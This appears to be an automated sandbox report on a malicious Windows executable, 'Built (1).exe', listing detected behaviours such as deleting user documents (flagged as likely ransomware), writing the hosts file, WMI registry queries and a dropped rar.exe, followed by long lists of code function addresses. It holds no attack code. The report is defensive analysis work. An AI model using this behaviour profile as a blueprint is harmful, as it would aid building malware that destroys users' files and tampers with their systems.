00000001.00000003.1685217765.000001887BE17000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://yahoo.com/
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49739
              Source: unknownNetwork traffic detected: HTTP traffic on port 49739 -> 443
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow created: window name: CLIPBRDWNDCLASS

              Spam, unwanted Advertisements and Ransom Demands

              barindex
              Modifies existing user documents (likely ransomware behavior)
              Source: C:\Users\user\Desktop\Built (1).exeFile deleted: C:\Users\user\AppData\Local\Temp\? ?? \Common Files\Desktop\DTBZGIOOSO.docxJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile deleted: C:\Users\user\AppData\Local\Temp\? ?? \Common Files\Desktop\XZXHAVGRAG.jpgJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile deleted: C:\Users\user\AppData\Local\Temp\? ?? \Common Files\Desktop\NWTVCDUMOB.pdfJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile deleted: C:\Users\user\AppData\Local\Temp\? ?? \Common Files\Desktop\NWTVCDUMOB.mp3Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile deleted: C:\Users\user\AppData\Local\Temp\? ?? \Common Files\Desktop\NWTVCDUMOB.mp3Jump to behavior
              Modifies the hosts file
              Source: C:\Users\user\Desktop\Built (1).exeFile written: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: cmd.exeProcess created: 58

              System Summary

              barindex
              Writes or reads registry keys via WMI
              Source: C:\Windows\System32\getmac.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
              Source: C:\Windows\System32\getmac.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
              Source: C:\Windows\System32\getmac.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
              Source: C:\Windows\System32\getmac.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
              Source: C:\Windows\System32\getmac.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
              Source: C:\Windows\System32\getmac.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
              Source: C:\Windows\System32\getmac.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
              Source: C:\Windows\System32\getmac.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
              Source: C:\Windows\System32\getmac.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
              Source: C:\Windows\System32\getmac.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
              Source: C:\Windows\System32\getmac.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
              Source: C:\Windows\System32\getmac.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F393A70: CreateFileW,CreateFileW,DeviceIoControl,CloseHandle,74_2_00007FF70F393A70
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F3BB57C GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitWindowsEx,74_2_00007FF70F3BB57C
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 0_2_00007FF6FFD110000_2_00007FF6FFD11000
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 0_2_00007FF6FFD317200_2_00007FF6FFD31720
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 0_2_00007FF6FFD286700_2_00007FF6FFD28670
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 0_2_00007FF6FFD19D9B0_2_00007FF6FFD19D9B
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 0_2_00007FF6FFD17B600_2_00007FF6FFD17B60
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 0_2_00007FF6FFD36B500_2_00007FF6FFD36B50
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 0_2_00007FF6FFD37A9C0_2_00007FF6FFD37A9C
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 0_2_00007FF6FFD228900_2_00007FF6FFD22890
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 0_2_00007FF6FFD220700_2_00007FF6FFD22070
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 0_2_00007FF6FFD2E80C0_2_00007FF6FFD2E80C
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 0_2_00007FF6FFD3A7D80_2_00007FF6FFD3A7D8
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 0_2_00007FF6FFD286700_2_00007FF6FFD28670
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 0_2_00007FF6FFD1A76D0_2_00007FF6FFD1A76D
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 0_2_00007FF6FFD19F3B0_2_00007FF6FFD19F3B
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 0_2_00007FF6FFD267500_2_00007FF6FFD26750
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 0_2_00007FF6FFD34EFC0_2_00007FF6FFD34EFC
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 0_2_00007FF6FFD28EF40_2_00007FF6FFD28EF4
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 0_2_00007FF6FFD326C40_2_00007FF6FFD326C4
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 0_2_00007FF6FFD23ED00_2_00007FF6FFD23ED0
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 0_2_00007FF6FFD226840_2_00007FF6FFD22684
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 0_2_00007FF6FFD36DCC0_2_00007FF6FFD36DCC
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 0_2_00007FF6FFD235400_2_00007FF6FFD23540
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 0_2_00007FF6FFD375500_2_00007FF6FFD37550
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 0_2_00007FF6FFD284BC0_2_00007FF6FFD284BC
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 0_2_00007FF6FFD2ECA00_2_00007FF6FFD2ECA0
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 0_2_00007FF6FFD224800_2_00007FF6FFD22480
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 0_2_00007FF6FFD2AC500_2_00007FF6FFD2AC50
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 0_2_00007FF6FFD2F3200_2_00007FF6FFD2F320
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 0_2_00007FF6FFD192D00_2_00007FF6FFD192D0
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 0_2_00007FF6FFD242D40_2_00007FF6FFD242D4
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 0_2_00007FF6FFD317200_2_00007FF6FFD31720
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 0_2_00007FF6FFD22A940_2_00007FF6FFD22A94
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 0_2_00007FF6FFD34A600_2_00007FF6FFD34A60
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 0_2_00007FF6FFD222740_2_00007FF6FFD22274
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFAB912F01_2_00007FFDFAB912F0
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFAB918A01_2_00007FFDFAB918A0
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFB1AF1601_2_00007FFDFB1AF160
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFB8961001_2_00007FFDFB896100
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFF1B1D201_2_00007FFDFF1B1D20
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFF2142001_2_00007FFDFF214200
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFF1A90601_2_00007FFDFF1A9060
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFF1A0FB01_2_00007FFDFF1A0FB0
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFF1D4FE01_2_00007FFDFF1D4FE0
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFF1FBE701_2_00007FFDFF1FBE70
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFF1ACF101_2_00007FFDFF1ACF10
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFF252D601_2_00007FFDFF252D60
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFF22BDB01_2_00007FFDFF22BDB0
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFF1EFE101_2_00007FFDFF1EFE10
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFF1BEDE01_2_00007FFDFF1BEDE0
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFF1BCE301_2_00007FFDFF1BCE30
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFF201C601_2_00007FFDFF201C60
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFF1EAC601_2_00007FFDFF1EAC60
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFF1EDD101_2_00007FFDFF1EDD10
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFF19BCF01_2_00007FFDFF19BCF0
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFF206CF01_2_00007FFDFF206CF0
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFF202D1D1_2_00007FFDFF202D1D
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFF19FBC01_2_00007FFDFF19FBC0
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFF193BD01_2_00007FFDFF193BD0
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFF199BA01_2_00007FFDFF199BA0
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFF1D9BB01_2_00007FFDFF1D9BB0
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFF1A9AB01_2_00007FFDFF1A9AB0
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFF1B7B101_2_00007FFDFF1B7B10
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFF243AF01_2_00007FFDFF243AF0
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFF1DEAE01_2_00007FFDFF1DEAE0
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFF227B501_2_00007FFDFF227B50
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFF1B6B401_2_00007FFDFF1B6B40
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFF2199601_2_00007FFDFF219960
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFF1AC9A01_2_00007FFDFF1AC9A0
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFF1F6A101_2_00007FFDFF1F6A10
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFF1BD8D01_2_00007FFDFF1BD8D0
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFF19A8A01_2_00007FFDFF19A8A0
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFF1947E01_2_00007FFDFF1947E0
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFF19283E1_2_00007FFDFF19283E
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFF1A67201_2_00007FFDFF1A6720
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFF1D45D01_2_00007FFDFF1D45D0
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFF1994C01_2_00007FFDFF1994C0
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFF1CC4B91_2_00007FFDFF1CC4B9
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFF20C5101_2_00007FFDFF20C510
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFF1B95001_2_00007FFDFF1B9500
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFF1945301_2_00007FFDFF194530
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFF1A23801_2_00007FFDFF1A2380
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFF1EB3701_2_00007FFDFF1EB370
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFF1A34201_2_00007FFDFF1A3420
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFF1E62801_2_00007FFDFF1E6280
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFF1932A51_2_00007FFDFF1932A5
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFF2342A01_2_00007FFDFF2342A0
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFF1972F11_2_00007FFDFF1972F1
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFF1EC2F01_2_00007FFDFF1EC2F0
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFF21A1701_2_00007FFDFF21A170
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFF21B1A01_2_00007FFDFF21B1A0
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFF1F42001_2_00007FFDFF1F4200
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFF1B40801_2_00007FFDFF1B4080
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFF1F20701_2_00007FFDFF1F2070
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFF1BE0B01_2_00007FFDFF1BE0B0
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFF1C10E01_2_00007FFDFF1C10E0
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFF1AC0E01_2_00007FFDFF1AC0E0
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFF1940E01_2_00007FFDFF1940E0
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFF1FB1301_2_00007FFDFF1FB130
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFE007A57701_2_00007FFE007A5770
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFE0076116D1_2_00007FFE0076116D
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFE00761B541_2_00007FFE00761B54
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFE007983F01_2_00007FFE007983F0
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFE007CC5301_2_00007FFE007CC530
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFE00761A0F1_2_00007FFE00761A0F
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFE007686301_2_00007FFE00768630
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFE007616FE1_2_00007FFE007616FE
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFE007D26E01_2_00007FFE007D26E0
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFE007617F81_2_00007FFE007617F8
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFE0076143D1_2_00007FFE0076143D
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFE007613DE1_2_00007FFE007613DE
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFE007626FD1_2_00007FFE007626FD
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFE007626121_2_00007FFE00762612
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFE007616181_2_00007FFE00761618
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFE0076117C1_2_00007FFE0076117C
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFE0076149C1_2_00007FFE0076149C
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFE007624D71_2_00007FFE007624D7
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFE00826D901_2_00007FFE00826D90
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFE007621C11_2_00007FFE007621C1
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFE00761C121_2_00007FFE00761C12
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFE007770B01_2_00007FFE007770B0
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFE007AD2F01_2_00007FFE007AD2F0
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFE0076155A1_2_00007FFE0076155A
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFE007A93701_2_00007FFE007A9370
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFE00761FD71_2_00007FFE00761FD7
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFE0078B7001_2_00007FFE0078B700
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFE007AD7C01_2_00007FFE007AD7C0
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFE007615961_2_00007FFE00761596
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFE007615461_2_00007FFE00761546
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFE007621DF1_2_00007FFE007621DF
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFE00761AD71_2_00007FFE00761AD7
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFE007D9B301_2_00007FFE007D9B30
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFE00785CF01_2_00007FFE00785CF0
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFE00761CBC1_2_00007FFE00761CBC
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFE00761EDD1_2_00007FFE00761EDD
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFE00761D8E1_2_00007FFE00761D8E
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFE0EB39E801_2_00007FFE0EB39E80
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFE0EB38D701_2_00007FFE0EB38D70
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFE0EB3866C1_2_00007FFE0EB3866C
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFE0EB35B041_2_00007FFE0EB35B04
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFE0EB353301_2_00007FFE0EB35330
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFE0EB39A841_2_00007FFE0EB39A84
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFE0EB3BBAC1_2_00007FFE0EB3BBAC
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFE0EB608801_2_00007FFE0EB60880
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFE11EB21401_2_00007FFE11EB2140
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFE11EA10001_2_00007FFE11EA1000
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFE11EA18E01_2_00007FFE11EA18E0
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFE11EA12B01_2_00007FFE11EA12B0
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFE11EC7C481_2_00007FFE11EC7C48
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 8_2_00007FFD9AC530278_2_00007FFD9AC53027
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F39AE1074_2_00007FF70F39AE10
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F3A7B2474_2_00007FF70F3A7B24
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F37ABA074_2_00007FF70F37ABA0
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F380A2C74_2_00007FF70F380A2C
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F37188474_2_00007FF70F371884
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F37B54074_2_00007FF70F37B540
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F3854C074_2_00007FF70F3854C0
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F3782F074_2_00007FF70F3782F0
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F39C05C74_2_00007FF70F39C05C
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F3A007474_2_00007FF70F3A0074
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F38303074_2_00007FF70F383030
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F3A804074_2_00007FF70F3A8040
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F3D00F074_2_00007FF70F3D00F0
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F39010474_2_00007FF70F390104
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F3DAF9074_2_00007FF70F3DAF90
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F3A5F4C74_2_00007FF70F3A5F4C
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F3DDFD874_2_00007FF70F3DDFD8
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F3B4FE874_2_00007FF70F3B4FE8
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F3AC00C74_2_00007FF70F3AC00C
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F3CFE7474_2_00007FF70F3CFE74
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F388E6874_2_00007FF70F388E68
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F37CE8474_2_00007FF70F37CE84
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F3BAE5074_2_00007FF70F3BAE50
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F379EFC74_2_00007FF70F379EFC
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F3AAF0C74_2_00007FF70F3AAF0C
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F3BEEA474_2_00007FF70F3BEEA4
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F3B9D7474_2_00007FF70F3B9D74
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F3A0D2074_2_00007FF70F3A0D20
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F381E0474_2_00007FF70F381E04
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F37EE0874_2_00007FF70F37EE08
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F3C1DCC74_2_00007FF70F3C1DCC
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F3B5C8C74_2_00007FF70F3B5C8C
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F388C3074_2_00007FF70F388C30
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F37DD0474_2_00007FF70F37DD04
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F399D0C74_2_00007FF70F399D0C
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F3C6D0C74_2_00007FF70F3C6D0C
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F3B4B3874_2_00007FF70F3B4B38
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F3C9B9874_2_00007FF70F3C9B98
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F3B5A7074_2_00007FF70F3B5A70
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F3AFA6C74_2_00007FF70F3AFA6C
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F37CB1474_2_00007FF70F37CB14
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F3DAAC074_2_00007FF70F3DAAC0
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F39D97C74_2_00007FF70F39D97C
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F3AD91C74_2_00007FF70F3AD91C
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F3B69FD74_2_00007FF70F3B69FD
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F3749B874_2_00007FF70F3749B8
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F37888474_2_00007FF70F378884
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F38289074_2_00007FF70F382890
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F3A38E874_2_00007FF70F3A38E8
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F3A090474_2_00007FF70F3A0904
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F3B190C74_2_00007FF70F3B190C
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F3C18A874_2_00007FF70F3C18A8
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F3967E074_2_00007FF70F3967E0
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F3817C874_2_00007FF70F3817C8
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F3C766074_2_00007FF70F3C7660
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F3B270074_2_00007FF70F3B2700
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F3AA71074_2_00007FF70F3AA710
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F3B071074_2_00007FF70F3B0710
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F3886C474_2_00007FF70F3886C4
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F3D86D474_2_00007FF70F3D86D4
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F3A65FC74_2_00007FF70F3A65FC
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F3C260C74_2_00007FF70F3C260C
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F38859874_2_00007FF70F388598
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F3AF59C74_2_00007FF70F3AF59C
